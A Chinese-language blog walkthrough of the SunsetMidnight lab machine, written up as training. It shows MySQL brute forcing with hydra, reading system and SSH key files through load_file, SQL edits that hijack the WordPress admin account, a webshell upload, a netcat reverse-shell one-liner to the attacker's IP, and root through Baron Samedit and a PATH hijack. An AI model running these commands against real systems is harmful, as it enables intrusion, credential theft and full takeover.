Proving Grounds Play : SunsetMidnight Walkthrough

 Proving Grounds Play : SunsetMidnight Walkthrough


Foothold :

  • 網站是個 Wordpress,但沒有帳號密登入
  • 後續 MySQL 用 hydra 爆破成功並登入
  • 新增一個 Wordpress 使用者並把 admin 使用者的密碼改成跟該使用者一樣
  • 使用 admin 與自己設定的密碼登入 WordPress 再透過 plugin 成功獲取初始進入點
  • 第二種方式是將新建立的使用者賦予 Wordpress Administrator 的 Role
  • 第三種方法是連使用者都不用建立,直接修改 admin 的密碼即可

PE :

  • [+] [CVE-2021-3156] sudo Baron Samedit 標準利用

  • WriteUP 查看 status 指令是列出 SSH service 狀態,使用了 service 指令

  • 自建一個 service 檔案建立 bash,然後環境變數宣告到指定的路徑

  • 利用 status 後成功提權


第一步 rustscan,└─$ rustscan -a 192.168.246.88 --scripts none --ulimit 5000 | tee rustscan




snmp check,└─$ sudo nmap -sU -p 161 192.168.246.88 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,80,3306 192.168.246.88 | tee nmap

80/tcp   open  http    Apache httpd 2.4.38 ((Debian))

3306/tcp open  mysql   MySQL 5.5.5-10.3.22-MariaDB-0+deb10u1



MySQL test



add "sunset-midnight" to hosts file
80 /



80 /wp-admin



└─$ curl -s -X GET 'http://sunset-midnight/' | grep plugins | awk '{print $2}' | awk '{print $6}' FS='/' | sort -u

得到 simply-poll-master



wpscan,└─$ wpscan --url http://sunset-midnight/ -e vp --plugins-detection mixed --api-token <API Token>



check wordpress uploads folder,http://sunset-midnight/wp-content/uploads/



目前看來都沒啥戲,前面有看到 root 登入 MySQL 沒有檔 IP 但預設的幾個簡單密碼都不能用

嘗試暴力破解看看,先使用快速密碼檔 fasttrack.txt

└─$ hydra -l root -P ./fasttrack.txt mysql://192.168.246.88 -V



沒有結果



改用 rockyou.txt 試試看,└─$ hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.246.88 -V 




很快就破解了獲得憑證 root:robert


啟動 dbeaver,測試連線看來沒問題



wordpress DB 的欄位



看來只有一個使用者 admin,密碼 HASH "$P$BaWk4oeAmrdn453hR6O6BvDqoF9yy6/"




用 cli 的介面結果一樣





hashcat mode 400



破解看看,└─$ hashcat -m 400 admin.hash /usr/share/wordlists/rockyou.txt 



結果破解不出來.........



換個思考方式,現在看來是擁有 MySQL 最大權限的 root

直接讀 /etc/passwd 看看,select load_file('/etc/passwd');



可以正常讀到,使用者僅有 jose



讀讀看 id_rsa,select load_file('/home/jose/.ssh/id_rsa');

看來沒有該檔案



select load_file('/home/jose/.ssh/id_ecdsa');

select load_file('/home/jose/.ssh/id_ed25519');

這兩個檔案也沒有



直接先看看 authorized_keys 在不在

select load_file('/home/jose/.ssh/authorized_keys');

看來也沒有所以不是這個方向



嘗試 local.txt & proof.txt 也沒有消息



改換一個思考,自己塞一個使用者與密碼到 wordpress 裡面

INSERT INTO wp_users(ID,user_login,user_pass) VALUES(2,"aries",MD5("passwd"));

看來有成功塞入



使用者 aries 的密碼是 "passwd" 轉換成 MD5 HASH 是 "76a2173be6393254e72ffa4d6df1030a" 

下一步不是用 aries:passwd 去登入,因為該使用者不是 admin role 所以沒權限

故下一步有兩條作法,看是將 aries 使用者提升為 admin

或是將 admin 的密碼換成跟 aries 一樣,先做第二個

update wp_users set user_pass="76a2173be6393254e72ffa4d6df1030a" where ID=1;

然後再 select 看看,看來密碼是一樣了




登入看看




成功登入了




直接上傳 websehll.php



在 uploads 可以看到



whoami OK



標準作業 rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.200 4444 >/tmp/f

Reverse Shell 進來了



獲取 local.txt



在 wp-config.txt 裡面發現另外一組 DB 連線資訊

jose:645dc5a8871d2a4269d4cbe23f6ae103



su jose 使用該密碼成功切換使用者到 jose



SUID check

有個特別以前沒見過的 /usr/bin/ststus 但 GTFO 沒有利用點



sudo -l



cat /etc/crontab



執行 linpeas.sh

看到熟悉的 [+] [CVE-2021-3156] sudo Baron Samedit



直接提權利用成功 root,獲取 flag



補充 :

創建 aries:passwd 有另一條就是將該使用者提升為 admin role

來實踐看看,將機器重置確認使用者 aries 已新增但密碼還沒有改



使用者的腳色定義在 wp_usermeta table 中



先看一下現有的欄位共有四個



看一下現有內容



語法 : insert into wp_usermeta(umeta_id,user_id,meta_key,meta_value) VALUES (NULL,'2','wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}'), (NULL,"9000",'wp_user_level','10');



主要就是新增 24、25 兩個值



測試看看



一樣成功了,點選 Users 確認角色是 Administrator


 

看了一下 WriteUP,手法是直接將原本的 admin 的密碼改成了 admin





補充 2 :

在 linpeas.sh 針對 /usr/bin/status 特別又跳了紅字



看一下內容





直接執行看看,看來是將 SSH 服務的狀態列出



strings 看一下內容,看來去列出 SSH 服務的 status 時執行的命令是用

service ssh status



那就利用該行指令

在 /tmp 底下建立一個 service 檔案,內容寫入 /bin/sh

echo "bin/sh -p" > service

然後修改 service 檔案為可執行



宣告我們的環境變數指定到 /tmp
export PATH=/tmp:$PATH
然後執行 /usr/bin/status
成功 root





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)